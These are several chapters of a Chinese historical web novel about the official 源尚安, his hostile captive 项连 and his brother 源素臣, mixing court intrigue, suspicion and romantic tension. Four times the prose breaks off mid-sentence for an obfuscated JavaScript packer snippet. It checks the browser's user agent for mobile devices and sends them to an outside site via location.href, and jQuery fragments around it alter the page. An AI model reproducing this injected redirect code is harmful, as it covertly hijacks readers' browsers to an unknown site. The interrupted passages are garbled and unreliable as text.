“这位是小源将军帐下主簿,顾青顾大人,”当着源尚安的面赵兴不好意思邀功,“这次我们能找到这里,还是多亏了顾大人呢。” 刘达泪流满面,作势要跪,源尚安挥手示意不用:“刘大人受苦了,还请随我去营地好生歇息一番。” 这番情深义重的救援场面不禁叫项连心头泛起一阵嫌恶,他把抱着手走远了几步,实在没耐心听下去。 好在源尚安也不是个爱耽搁的主,救了人之后简单吩咐了几句便踏上了归程。 项连顿了顿,看脚步朝向,这人分明是冲着自己来的。 他垂头道:“顾大人。” 源尚安笑道:“这几日都老老实实在我手下办事,心里委屈吧。” “……不敢。” 闻言源尚安状似不经意瞄了项连一眼,随后转过头下了结论:“不仅委屈上了,心里还骂骂咧咧呢。” “大人要这样说的话,那我无话可说。” 两人并排踩过地上泥泞,衣摆随着夜风舞动。 不过与项连的脚步稳健心事重重不同,源尚安则是神色从容,颇有轩然霞举之感。 项连打心眼里不喜欢长相柔美的男子,自从他记事起,族人崇拜的就是孔武有力、魁梧健硕的男人。原因显而易见,唯有这样膀大腰圆的勇士才能在战场上冲锋陷阵,令敌军闻风丧胆。 也正因如此,他儿时还没长开、略显清秀的时候便不免遭到自家兄弟的嘲弄。 过分的美貌意味着沉沦而不自知、意味着对潜在的危险毫无觉察,最终命丧黄泉。 族中的老人甚至告诫他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971546|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将来选择媳妇也要避开过于妖艳的女人。 项连从来没见过那么夸张的女子,笑一下就能颠覆一国,但长辈说要小心,那就小心吧。 …… 但其实他面前的人和妖艳二字毫无联系,和柔弱娇嫩妩媚等等词汇也没有半点相似之处,甚至根本就不是个女人。可不知怎的,项连还是习惯性地把他想象成一只妖。 一只狐妖。 抛开其他不谈,项连对这张脸本身并不讨厌。 这人生得温润随和,风姿翩翩,一看便知涵养极好,是一张很容易讨得旁人心喜的面容。他不需要楚楚可怜或是矫揉造作,就已足够叫人为他潜藏的秘密心生向往。 “我真好奇我脸上有什么东西,”源尚安道,“能叫你一直盯着不放松。” “我听说这世上有一种人最不能得罪,”项连道,“他仗着自己生得不俗,便用柔情蜜意欺骗你,等你沉沦温柔乡卸下戒备之后,就会毫不留情地对你动刀子。” “哦?”源尚安平和反问,“你还需要我亲自动刀子吗?” “……” 跟这人简直没法聊。 项连只觉得自己简直是一拳打在了棉花上,这人太会应对这样的场合,所有抛出的话都会被他优雅地挡回去。 项连冷哼一声,故作毫不在意,反驳道:“确实没有那个机会,我看你应该会走在我前头。” 他话音未落,戚玹噌地拔刀架在了项连脖子上:“说话放尊敬些,别逼我杀你。” 气氛一瞬肃杀,在这令人大气不敢出的氛围里,源尚安却是自得其乐:“你看项公子,我都说了轮不到我动手的。” 项连咬了咬牙努力咽下去了什么,才又冲戚玹道:“有本事你我正大光明地打一场。” 戚玹没有撤手,只略微扬起下巴轻蔑道:“你还不值得。” “有本事你把刀放下来。” 这两人碰到一起,好比是虎豹撞见了豺狼,又都是血气方刚的年纪,谁也不肯轻易退后让步。若不是山路难行加上夜色昏暗,项连和戚玹两人即刻就能扭打到一起。 源尚安轻叹摇头:“项公子,你还是那样性情急躁,这可怎么好。” 他轻轻拍了下项连的肩膀,而后自然而然地靠近,略有遗憾道:“这么心急的话,可是杀不了我的。” 项连心跳一停:“你……” “难道不是么,”源尚安低语道,“你今夜会跟随戚将军前来,为的不就是审时度势。若我难逃一劫,你就顺势杀我报仇潜逃,若我扳回一局,你便也混入救援之中。” “好你个项——”戚玹心中火起,刀刃又更近了一寸,“大人,您叫我杀了他,永绝后患!” 锋端于颈侧划出来了浅淡血痕,可项连全然不惧:“动手,动,来,你先动手我也能和你同归于尽。” “你!” “戚玹,”源尚安声色转为肃穆,“把刀收回去。” “大人……是。” 刀刃砰地收回鞘中,项连嘴角立时露出了些许占据上风的冷笑。 “你这般忠心耿耿鞍前马后,怎么关键时候还比不过一个外人?” 戚玹平素以沉默寡言脾气好闻名军营,可今时今日不知为何屡屡在项连挑衅下破了戒:“……我那日就该把你射死。” 源尚安抬手示意他不必多言,自己自能搬回场面:“项连,我叫他收手是因为改变主意了,我觉得你方才的话极有道理。” 他云淡风轻间却有四两拨千斤之势:“你这样的人,还是我亲手来杀最好。” 24.诉衷情(二) 项连:“……” 四周顿时一阵沉默,一时唯有长靴踩踏泥土落叶之音。良久项连才又道:“你真的很擅长把话聊死。” 源尚安像是根本没听见,或者听见了也故意装作不在乎:他太擅长用这样一点小手段叫人心头发痒难耐。 太招人恨了。项连想。 他明明知道自己被他激怒,已然处于爆发边缘,可他还是选择全然无视这股心绪,甚至还要不知死活地再挑逗一番。 那些言语仿若某种昆虫的尾针,专挑他的弱点扎入,不一会儿项连就能感到心头起了难受的疹子,叫他忍不住地想要伸手扼住这始作俑者。 然而这薄情的始作俑者甚至都不愿意施舍给他一个眼神。源尚安一派悠闲地冲戚玹道:“总是戚将军戚将军地喊,听着太生分了。不知将军可有表字?” “下官草字承璧。” 源尚安由衷道:“承天之佑,璞玉浑金,好名字。” “谢大人。” 戚玹原本是不想笑的,可他瞄了眼项连,忽而觉得自己有必要展现一番心头的快意,于是果断决定笑出了声。 项连:“……” 他甚至能听见项连咬牙和握紧拳头的声音。 哈,活该,谁叫你这家伙这般不知天高地厚,就该吃点亏长长记性才对。 两人并排前行,途中源尚安因为腿脚不便,下山时右腿膝盖脱力一弯,险些摔倒在地,还是戚玹眼疾手快上去搀扶住了人。 戚玹知道他身负旧伤:“大人,我陪着您走吧。” 军营里多年的训练让他两臂健硕有力,别说是扶着源尚安走,就算叫他抱着人回去都不成问题。 源尚安点点头收下了他的好意:“多谢。” 项连咬紧了嘴唇。 看着和自己同性别的两人紧贴在一起,他不知为何心里有股莫名其妙的厌恶感。 “你就非要黏着个男人?” 源尚安没说话,一副那不然呢我和姑娘家拉拉扯扯像话吗的表情。 而且什么叫黏着人,他怎么就黏着人了? 项连几乎是从牙缝里硬挤出来的声音:“……你有龙阳之好?” 源尚安这下没能做到游刃有余,脚下跟着话音一空差点滑倒,随后项连听见他欲盖弥彰地轻咳了声。 他瞥了眼项连,旋即仿佛是感到了失望:“我也不至于饥不择食。” 项连一瞬心乱如麻,分不清他是故意挑逗还是说了真心话:“你就不觉得恶心?” 这话叫人没办法回答。 还在京城洛阳做官的时候,源尚安赴过大大小小不下百场的宴席,见过的王孙公子没有几千也有几百。他们生来锦衣玉食一生无忧,旁人苦苦挣扎都未必换来一日平安,他们却只要安安稳稳地靠在父祖辈的功业上就可以吃穿不愁。 常言道饱暖思淫/欲,不必为生计和仕途而奔波劳碌了之后,这些人的生活似乎也只剩下了一项主业:吃喝玩乐。 而在这个“乐”字上最是花样繁多:作践女子不够,还要尝尝男人是何滋味。 源尚安还跟在高纫兰身边办事的时候,曾见过宗亲汝南王带着男宠赴宴。那青年瞧起来和自己差不多年纪,却已然学会了如何逢迎献媚。 他讲不上来那时候自己是何心绪,但大概总归是觉得不适的。 很难说这些人是不是真有断袖之癖,无论男女其实都不过是他们的玩物罢了。昔年汉文尚有邓通,汉武亦有韩嫣,却并不影响帝王坐拥三宫六院繁衍子嗣。 他记得那时丞相的脸色同样不大好看,似乎也是打心眼里瞧不上这种只知道花天酒地的废物。 宴席还没到一半高纫兰便找了理由离开,只留下源尚安和余下几位心腹应付场面。 翌日一早,高纫兰问他,如何看待汝南王? 源尚安说了一通不痛不痒的话,可始终没能令高纫兰满意。他正要请罪自责,丞相却打断道:“这样的人越多,才越叫人放心。” “……放心?” “身为皇亲国戚最怕的就是怀有谋逆之心,前汉七国之乱,东吴孙綝之祸悉皆因此,同室操戈最易使朝局人心动荡不安,”高纫兰道,“但若他们一心醉生梦死眠花宿柳,那必定成不了大器。” 源尚安道:“若是故意为之好叫人放松警惕呢?” 高纫兰摇头,笃定道:“不会。” “一个人在情天欲海里沉沦久了,再有雄心壮志也会消磨殆尽,”高纫兰望着他,忽而话锋一转,“所以要想当好帝王爪牙,心中随时都得有一杆秤。” 空气沉寂了片晌,源尚安俯身拜道:“谢丞相教诲。” 对峙时人自然希望敌人都是贪图享乐的废物以便自己分化瓦解,但若自个儿成了领头上司,手下之人就不能是个不堪一击的弱者。 可是表现得太过无能也会被上级嫌恶丢弃,太过刚强毫无软肋又会令人警觉不安。三言两语间源尚安就摸清了高纫兰的心思:他要一个能被自己拿捏的得力下属。 于是源尚安便有意无意地在高纫兰眼前扮起了个病骨支离的青年。 他病得“恰到好处” ,也格外懂事,从不会在重要场合以此为借口闭门不出,却时不时在议事中表露出自己弱不禁风的一面。 正是这样的审时度势收敛锋芒,才叫丞相对他完全放下心来。 一个病人能有多大的威胁? 可他万万想不到正是这一点被源尚安巧妙利用,在他无知无觉之际便铺陈好了一条必死之路。 源尚安知道,要想在官场混下去,学会遮掩真实心绪是必修技。 不过日子久了,他也遭到了反噬,有时候他自己都不能准确分辨出当下最真实的心绪是什么。 前头赵兴似是担忧,停了下问道:“顾大人您没什么事吧。” 回答他的声音已然恢复了往常的波澜不惊:“没事。” 前方人影灯火攒动,已经能隐约看到营地的轮廓。 忙活了两天,他也该沐浴休整一番了。 源尚安打了点热水回帐,叫退了所有善意的帮扶。 他把所有洗漱用的东西都准备好,无声凝视着水波许久,才下定决心解开了衣裳。 热水倒影里依稀可见这副躯体身材极好,从胸腹到脊背手臂的曲线都堪称优美漂亮,加上他又天生皮肤白皙,更是为此增添了一重美感。 ——可他并不喜欢面对自己的躯体。这并非源自自卑或是自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975592|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暴自弃的情绪,而是因为他身上的一切印记都在提醒他地牢里的梦魇从未远去。 源尚安坐在木桶里,肌肤因水温而缓慢爬上了浅红,他伸手摸到腿上仍未褪去的旧痕。 大夫略带遗憾地告诉他,虽然伤口基本已经愈合,但这些留下来的疤痕一时半会儿怕是不好消除。 一些细小浅淡的痕迹已然被时光掩埋抚平,唯有右边大腿内侧的一道粉红长痕许久不见褪去的兆头。 乔沐苏想给他推荐几样遮盖用的软膏,源尚安却说不必,留着也好。 人总归是种记性不大好的动物。只要日子够久,只要当下足够安逸,便会遗忘过去的苦痛。 留着也好,让他不能忘也不敢忘。 其实除了那几年掩盖真实目的的需要外,源尚安并不喜欢在旁人面前展现软肋弱点,而后对上一道道耐人寻味的目光。 他不想做受制于人的猎物。因此他竭力给自己打造盔甲与假面,将自己包装成完美无缺的强者,也不允许自己有一刻的懈怠或是示弱。 可是,可是…… 源尚安伸手搭在那两条曾被生生打断的腿上,眼前似乎再度复现了雪天地牢里蔓延开来的血迹。他瞬间遗忘了所有的体面和忍耐,两手发了疯似的拍打着水面,一直以来潜藏心底的不甘痛楚在这一刻尽数化为了愤恨。 他分不清自己是否悲愤至极地喊了什么人的名字,眼前光景虚幻倒转,脑中只剩下血泪凝成的报仇雪恨四字…… 夜风从缝隙钻入,霎时吹破澡豆浮沫。源尚安恍然回神,面上尽是不可置信。 他竟也会有如此不受控制的一面。 可这愣神没有持续太久,源尚安立时觉察到了不对,开始搜寻冷风的来处。 源尚安飞速清理干净头身泡沫裹紧衣衫,再开口时已是沾染睥睨感的讥讽:“我竟不知道项公子还有这等偷窥的喜好。” 项连立时藏起来了可疑的利器回以嘲笑:“别自作多情,我可不喜欢男人。” 源尚安拧干发丝的水,哂笑道:“项连,你知道方才我和承璧说了什么吗?” 听见他这样喊戚玹,项连登时有些不痛快。 源尚安要的就是他心头被扎了根刺:“我和他特意交代,一旦我出了什么事,他就立刻将你杀了,尸首喂乡村野狗。” 项连还想逞强:“他打不过我。” “我没让你们俩光明正大地决斗,”源尚安道,“军营里不是还有一百名弓箭手吗?” 项连:“……” 他和这人指定八字犯冲。 源尚安边收拾衣襟边走出营帐道:“要是不想给我殉情就老实点。” 项连忍了又忍,最终主动给源尚安递来了披风:“……大人请。” 源尚安点评道:“姿态不够自然体贴,再学学。” “是。” 鬼知道他是怎么应出来这一声的。 源尚安嗤声一笑,知晓他现在怒火中烧却没个发泄地方:“放心,以后会放你回去的。” 他正和人言笑晏晏,全然没注意到这一切早就被尽收眼底。 源素臣按着伤处,疲倦中带着点埋怨:“我不在的时候,你就这么喜欢和人调风弄月?” 25.诉衷情(三) 他顿了少顷,又故作看向他处道:“原是我来得不巧了,打搅了顾大人的好兴致。” “不,”源尚安见源素臣来,非但不觉得愧疚,反而很是开心,“我正想见你,你就来了。” 源素臣别过头去不理他,似乎对这点安慰不甚满意:“又拿你那甜言蜜语来哄人了。” “对呀,”源尚安毫不否认,“这些全都是要说给你听的。唯有见到你的时候,我才想说。” 源素臣喉结滚动,瞬间说不上来话,刚才那满肚子的怨怼一下子就不见了踪影。 他一点儿也生不起来这个人的气。 可是就这样宽恕了他,岂不是在变相鼓励他来日变本加厉? 源素臣太了解他了,因此他很确信,源尚安生来就有做花花公子笑傲情场的天赋:他天性温柔又八面玲珑,对谁都来者不拒,三言两语间就能靠着看透人心的本事将人哄得找不着北。 他自个儿浑然不觉,旁人却早已为之神魂颠倒。 源素臣是真心疼他,却也是真心怨他,恼他总是撩人心弦而不自知,还总是一副作壁上观的模样。 怨到深处,他就恨不得把人死死捆住手脚动弹不得,再塞住唇舌堵住那张妙语连珠的嘴,叫他好好吃一回苦头长长记性。 可他分明又知道自己舍不得。 源素臣现在不光恨他,也开始给自己记上了一笔:“我平日真是太娇纵你了。” 源尚安唇边一动,似在忍笑:“可这世上也只有你会这般待我。” 他走上前来,又想再打趣一两句,可手掌却倏忽触到了什么。源尚安微微一怔:“怎么把自己弄伤了?” 源素臣立马疑心他是问心有愧故意转移话题,可是又实在不忍心冲他拉下脸发火。 心间兜兜转转一遭,他只把火气朝自个儿撒,抬手不管不顾地照着伤口砸了一拳,怨道:“又死不掉。” 创口即刻崩裂出血,源尚安哎了声,急得立时抓住了源素臣的手腕不叫他胡来:“你这是做什么?” 源素臣顺势也扣住了他的腕处:“我还没问你呢,我就走了一两日,可你却在做些什么?” 他是个假浪子,可这人却是个真薄情。 源尚安和旁的负心人还不一样,别人那是风流多情,有意流连花丛,游走人间一趟为的就是引来无数痴儿怨女为他争风吃醋。 而他呢,则纯属无心插柳。且这垂杨柳已然连成一片遮天蔽日,枝条都落到他眼前,就差将他层层束缚了,他却还是不以为意,非要逼得人对他由爱生恨不可。 源素臣不顾手上血点,抓住了源尚安的衣襟恨声道:“你真是叫人又爱又恼。” 源尚安被他搞得也有了脾气,脸色很是不悦:“你看你像什么样子?” “我还没说你呢,你像什么样子,”源素臣不由分说拽着人就走,“披头散发还拉拉扯扯,像话吗?” “……哎,哎!”源尚安力气比不过他,直接被他拖进了帐篷,“我刚洗的澡你什么意思。” 眼见着两道人影消失,项连一时间无话可说。 这到底是个什么世道,就这么由着两个男人拉扯不清? 他说不上来此刻涌上心头的到底是何种滋味占据上风,扪心自问似乎也是和生气有关,却又和源素臣的不同。 他没道理和源尚安这个人纠缠。可他不知为什么今日发生在身边的种种就是让他心头郁郁不快。 项连想了一通,觉得还得怪在源尚安头上。 这家伙是来讨债的,他前世一定是亏欠了什么,叫这人记恨到了现在,所以才要在这辈子里通通报复回来。 真真是造孽。项连心里暗骂。 殊不知帐篷里的源素臣也想送源尚安一句孽障,他就一两日不见,这人便又跑出去招惹情债。 偏巧这人还睁着一双无知无觉的眼眸,正无辜地瞧着自己。 源素臣觉着自己很有必要拿出来点长兄的威严管教管教,于是道:“外头那些不三不四的人,谁知道怀着怎样龌龊的心思。你真以为施舍点恩情,他们就能念你的好?” 想不到源尚安竟道:“我从不以为。” “你……”源素臣一时说不上话。 “恩情也好施压也罢,都不过只是手段而已,”源尚安道,“因人而异,有些人需要的是抚慰换取安心,有些人则需要的是打压以治住诡计。谁若是因此心陷迷阵,谁就是棋差一招愚不可及。” 他说这话时神色异乎寻常的平静,一副胸有成竹的架势。由此观之,这人从来不把玩弄人心当做什么可耻之事。 这话说得太过理所应当,以至于源素臣差点就要大骂他毫无廉耻,诗书礼仪都被他学到狗肚子里去了。 源尚安却很奇怪:“怎么,我说错了?” 源素臣心说你说的一点没错,完全将你的本性暴露无遗。 谁若是对这只狐狸痴心不改,谁就怕是要倒大霉了。 源素臣气还没消,转头瞅见源尚安不知在摸索准备些什么:“……又鼓捣什么呢?” 说来也奇怪,他越是不满的时候源尚安反而对他越是诚挚:“我备些盐水给你洗洗伤口,再敷些药。” 直到被他转过来时源素臣还都有些别扭,伸手要推开他:“我有手有脚,又没多大事……” 源尚安并不理会,用温盐水替他缓慢清洗着腿上的血口。 尽管他的动作已经温柔至极,可盐水浸入的那一刻还是带来了无法避免的疼痛。源素臣霎时绷紧了全身肌肉,搭在源尚安肩上的手不由得用力,在感知痛楚的一瞬下意识地抱住了人。 他都快忘了,是人就会有七情六欲,是人就会感知苦痛。 源尚安宽慰他,上完药后一层层给他裹着纱布:“你放心,我十三四的时候就跟着爹在军营里替将士们处理伤口,手法上定然是没问题的。” 方才那些弯弯绕绕的心思好似刹那长翅膀飞得无影无踪了,源素臣一手捧着他的脸,哪还想得起来刚才是怎么恨他的,只想着轻柔地和他聊些陈年旧事。 他道:“你那么小就一个人去军营里头帮忙,也不觉着孤单。” 说罢顺手揉了下源尚安的头顶。 “你总当我是小孩子,”源尚安无奈道,“可十三四岁,有的人怕是都成家立业了。” 草原上的人娶妻生子都早,十六七岁就当爹娘的一抓一大把。同时期的中原也相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980914|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差不多,大家普遍都觉得早早成家立业传宗接代才是上上之选。 源素臣轻抓了下他的头发:“你还想着娶媳妇呢?不会吧。” 源尚安趴在他膝头笑:“你给耽误了,早娶不成了。” 这姿势恰巧让他眸光落在了源素臣腰侧,源尚安注意到原先挂在腰带上的玉坠没了,联系到他大腿的伤,心里便愈发奇怪。 若是冲着取人性命来的,不该刺这样的位置,他腿上留下来的那处伤痕,倒更像是有人想剜去一处血肉私自留存。 普通的劫匪会瞧上一枚算不得名贵的玉坠? 源尚安略微抬了点头,摸着他腰间空了的挂绳道:“我总觉得你有许多话都藏在心里,不愿和人说。” 源素臣没有应答,那只手却仍旧轻柔地抚着他刚清洗干净柔顺异常的长发。 “不是有意不告诉你,而是,”源素臣停下了动作,俯身道,“许多事错综复杂,千丝万缕却理不出个头绪来。我也没有想好要怎么告诉你。” 源尚安神色不变,仍旧是春风般温和的笑意:“你为什么愿意来夏州?” 这问题有些突然,源素臣没有直接回答,而是反问道:“你为什么接受任命来夏州?” “圣旨已下,陛下心意已决,岂可违背,”源尚安敛起了笑,转为严肃时竟和源素臣的容色有几分神似,“这世上哪有那么多称心如意的事情,人许多时候也不过是被推着走罢了。” “但这里也是爹当初把我带回来的地方,”源尚安又道,“是一切开始的地方,对吗?” 源素臣点了点头以示认可:“思归怀乡之情在所难免。” 他不知有心还是无意,这四个字里包含了他的乳名阿归。源尚安不免心头一颤,为之所动。 “爹从夏州回来了之后一直兢兢业业镇守边关,这些年里他跟我说过最多的话就是要忠君爱国,不可妄生谋逆之念。当然外头总归会有些风言风语,柔然那边也想着诋毁污蔑,但我知道他不会反,也不敢反。” 说到这里源尚安停了片刻,直直对上了源素臣的眼瞳。 那双眼眸如琥珀璀璨,夜里乘着烛火望去格外动人心弦。 “因为他不能再做一次叛臣了,”源尚安道,“他已经以叛逃的名号背离了一次匈奴,不能再度和它扯上关系,否则整个源家就会迎来灭顶之灾。” 世人只会看结果,不会看过程。哪怕那是因为匈奴欠下累累血债在先,哪怕那是百般无奈之下保全家族之举。 身为帝王不可能不看重忠诚二字。 “活生生的例子就在他眼前,匈奴覆灭之后,贺楼部的后人心有不甘密谋反叛,最后全族无人幸存,被先帝诛杀殆尽,”源尚安不由加快了语速,换来自己几声轻咳,“也正是自此之后先帝下诏将匈奴后裔划分不同部落,强制迁徙他处。所谓的潜在隐患前朝余孽,到此也几乎被扑灭干净。” “但唯有一人还以忠良之后的名义活着,可实际上他的母亲就是匈奴公主,他本人就是匈奴王的后人。” 源素臣的眼睛微微下移。 源尚安伸手按住了他的肩膀,眼神分明是不肯后退:“现在再告诉我,你为什么来夏州呢兄长?” 26.诉衷情(四) 这两日天气回春转暖,加之营帐里此刻共有三盏烛灯在烧,烘得人身上难免想升腾热汽。 源尚安稍微拉开了些距离,烛光下对方的面容很经得起考验:眉眼深邃狭长,端正俊美气宇不凡,一看便知是很讨长辈喜欢的、心中未来女婿的首选长相。 但其实相处久了就会发现这人是个亦正亦邪的性子,轻易捉摸不透。谁知道哪一刻那点藏着掖着的坏水就洒到了自个儿身上。 源尚安在心底叹了声,他认了旁人说自己是只狐狸,借此抱怨他的狡黠。而没准儿面前这人就是上苍派下来专门镇住狐妖的大仙。 他问:“怎么不回我话?” 源素臣又摸了摸他的发,似是担心洗完后没及时弄干会着凉:“在你眼里,他是个什么样的人?” 他问的自然是匈奴最后的荣光,也是自己的外祖父,曾被诸多部落奉为神明的单于呼衍骨都。 有关他的传言可谓是数不胜数,其中不乏有夸大其词之语。但所有的传闻和评语都肯定了一件事—— 此人姿容不俗,野心勃勃堪称军事奇才,却又生性残忍手段狠辣,招致无数人切齿痛恨。 “呼衍王么……”千头万绪无声交织成结,源尚安一时解不开这一团乱麻,“总归是叱咤风云的一代豪雄。” 源素臣微微挑眉,对这回答好像有点意外:“你认可他是豪杰?” 垂下来的长发的确有些刺挠烦人,源尚安不得不伸手拨了拨:“我说不上来这些。我很少做点评帝王将相的事。” “是不想说,还是不敢说,嗯?” 源素臣凑近了些许,没说对这个回应满意还是不满意,只又道:“一个抛妻弃子又背信弃义的人也配得上豪杰二字?” 话语里的讥讽揶揄全然不加掩饰,甚至还隐隐流露出来了一种不以为然的鄙夷。放在这个为尊者讳又不得妄议先人的世道上看,他这句话堪称大逆不道罔顾人臣人子之礼,合该被口诛笔伐痛骂一顿长长记性。 源尚安却没有批驳的意思,只道:“能走到这个位置上的人,谁身上没有一些污点和罪孽?” 权力最会腐蚀人心。 “秦有胡亥弑兄夺位,将手足尽数诛杀,汉亦有巫蛊之乱,令忠魂蒙冤,”源尚安道,“对于执掌天下大权的人来说,至亲至爱至交又算得了什么。” 他说这些话时源素臣目不转睛地看着他,好似试图从只言片语中窥探真心。 源尚安并未流露出分毫对于掌权者的尊崇,也并非是要大搞虚无否认功业。 源素臣似乎都能想象到他心底的漠然:这青年阅尽古今浮沉事,在旁人对帝王将相顶礼膜拜之时,他却早已冷然起身而退,看透了歌功颂德背后的无知与虚伪。 这观感似曾相识,换言之大抵是,王侯将相,宁有种乎? 一个二十多年来一直浸润在忠君报国诗书礼乐之中的正人君子,居然能有如此离经叛道的念头。 源素臣觉得他太有意思了。 源尚安瞄了一眼,大概猜到了他那点心思:“我都说了这么多了你还一声不应,不公平吧。” 源素臣道:“夏州的一切都围绕着你来,要问也不该问我。” “不,”源尚安道,“看似都是围绕着我来,但若说与你有关也未尝不可。” “为什么寺庙里那帮土匪恰好要暴露目的和真凶的时候,你就恰好赶到,又为什么你会答应郑良辅的邀约,”源尚安没有丝毫放过的意思,“自从你到了之后,原本清晰的一切又开始变得扑朔迷离,你不觉得吗?” 源素臣伸出两手,毫无抵抗的念头,悠然自得道:“你说的很对,那么我就是一切的罪魁祸首,现在把我抓了移交官府吧。” 源尚安一时没接上话。 真要是打起太极来,他也是个中高手。 源尚安鼻尖轻嗤:“你是不是忘了我俩同出一家,你若真的被官府拿下,我还能逃过一劫吗?” “那就没办法了,”源素臣一副怪不得我的无辜表情,“那你就只能做我的同谋了尚安。” 源尚安的眸光转向帐篷底的草地,不知在琢磨些什么。未几又道:“陈胜吴广起义之际不忘自称公子扶苏与项燕在世,可见举兵者若想聚拢人心少不了打出一张旗号。如今匈奴各个部落若要复国,多半也要推举出来个单于后裔作为象征意义的领袖。” 他打量着源素臣:“你不觉得你是他们的首选吗?” 源尚安平静如常的语气甚至给了人一种他在谈笑风生的错觉,可细听弦外之音却又带着紧逼之意。 但源素臣仿佛浑然不觉:“如果我被架上去的话,很快就会和楚怀王一样身首异处。” “哦?” “一山不容二虎,卧榻之侧,岂容他人酣睡,”源素臣道,“如果我真的被他们带走,那么这几日你在永丰见到的所有人也会跟着一起消失得干干净净,你什么也别想查出来。” 源尚安道:“你太小看我了。” “不,不是小看,从没有小看,”源素臣话意陡转,“可是尚安,有时候活下去和知道一切注定是冲突的。就好比你方才说的,已经执掌大权,就不能再奢求拥有至亲至爱常伴身侧。” “如果我偏要两全呢?” 周遭空气仿佛都随之凝滞不前,摇动的烛火似也定在了半空,源素臣像是瞬间被什么魔力夺去了声音,所能做的唯有端视着他的眼瞳。 烛灯橘色的光芒里,那双微微上挑的瑞凤眼满是欲说还休的柔情愁绪,仿若一汪海洋,格外动人。 从中依稀可见幕幕前尘,缕缕往昔。 在自己面前,他分明是略显稚嫩的年幼者,可许多时候他的不服输不罢休的劲头却分毫不弱于自己,甚至几度都有些针锋相对的意味。 到底还是长大了。源素臣心想。 源素臣叹了口气,换了种哄小孩的口吻:“那你恐怕有些贪心了。” “若不能两全其美,那我苦苦追寻又有何意义,”源尚安道,“我不需要任何人的牺牲来铺平道路。” 源素臣觉得他不明白,摇了摇头不再说话。 “你又拿我当小孩子,”源尚安摇了下他的手臂,“老是这样可就没意思了。” “你就是小孩子,”源素臣道,“一点也不知道照顾自己想着自己。” 呼吸声此起彼伏, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986777|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 源尚安顿了顿似乎也意识到了议论是不是小孩子的话题占不了上风。他换了个问题:“假扮暗中运送赃物的人长什么样子,你从前见过吗?” “他们全都训练有素,蒙着口鼻看不清长相,不过……”源素臣犹疑片刻,最终还是决定道:“不过这人很擅长使用迷药迷香,人一不留神就中招了。” 好在源素臣时刻备有后手及时叫人增援,这才没有酿成伤亡。 “你休息吧,”源尚安道,“隔壁帐篷有我烧好的水,直接洗就行了。” 他确实有准备好了一切,像是提前就知道源素臣一定会回来。 源尚安简单拿来发绳挽了下长发随后出了营帐,戚玹立即上前:“依照您的吩咐,我派人检查过了那个关押刘达的山洞。” “怎么样?” “洞里其实很干净,没有什么生活过的痕迹,”戚玹低声道,“如果他真的被强制关在此地好几日,那吃喝拉撒都怎么解决?不可能一点印记都没有。” 源尚安不置可否,又问道:“刘达本人怎么说?” “赵兴去问过了,他说他当时是被人迷晕了,脑子里一直昏昏沉沉的,什么都不记得,”戚玹道,“今日大概是药效到了,他醒来就发现自己被扔到了洞里,只觉得心里很害怕。” 源尚安没有点评,而是问道:“承璧,你怎么看这件事?” 戚玹道:“目前来看,这一切似乎都可以做到自圆其说。宵小之徒窃取县令之位,提前绑走了刘达。但中途不幸阴谋败露,被府君识破,为首之人临死前为了活命供出来了下落……” 他情不自禁地挠了挠头:“府君,我总觉得不对劲,可我说不上来问题出在哪里。” 源尚安不疾不徐道:“刘达见到赵兴的那一刻是什么态度?” “感激不尽情绪激动,”戚玹想也不想立即回复,“毕竟困了这么久,终于碰到能救他出来的人了,那当然是——” 源尚安骤而打断他的话:“洞穴里视线昏暗看不清人,他凭什么那么肯定我们是一定是来救他的?” “而且人如果在黑暗的环境里呆久了,是没有办法立即判断出光线的,反而会畏光。” 他不该直接对着举灯笼的赵兴大喊大叫。 像是兜头被人浇了一盆冷水,戚玹即刻清醒过来:“……原来如此原来如此。” 如果实际情况真的如刘达所说,他被人迷晕了之后又被偷偷丢进了山洞自生自灭,种种对待让他心生恐惧,那他在不确定来人是什么目的之前,应该是不会立即表达出激动或感激的情绪的。 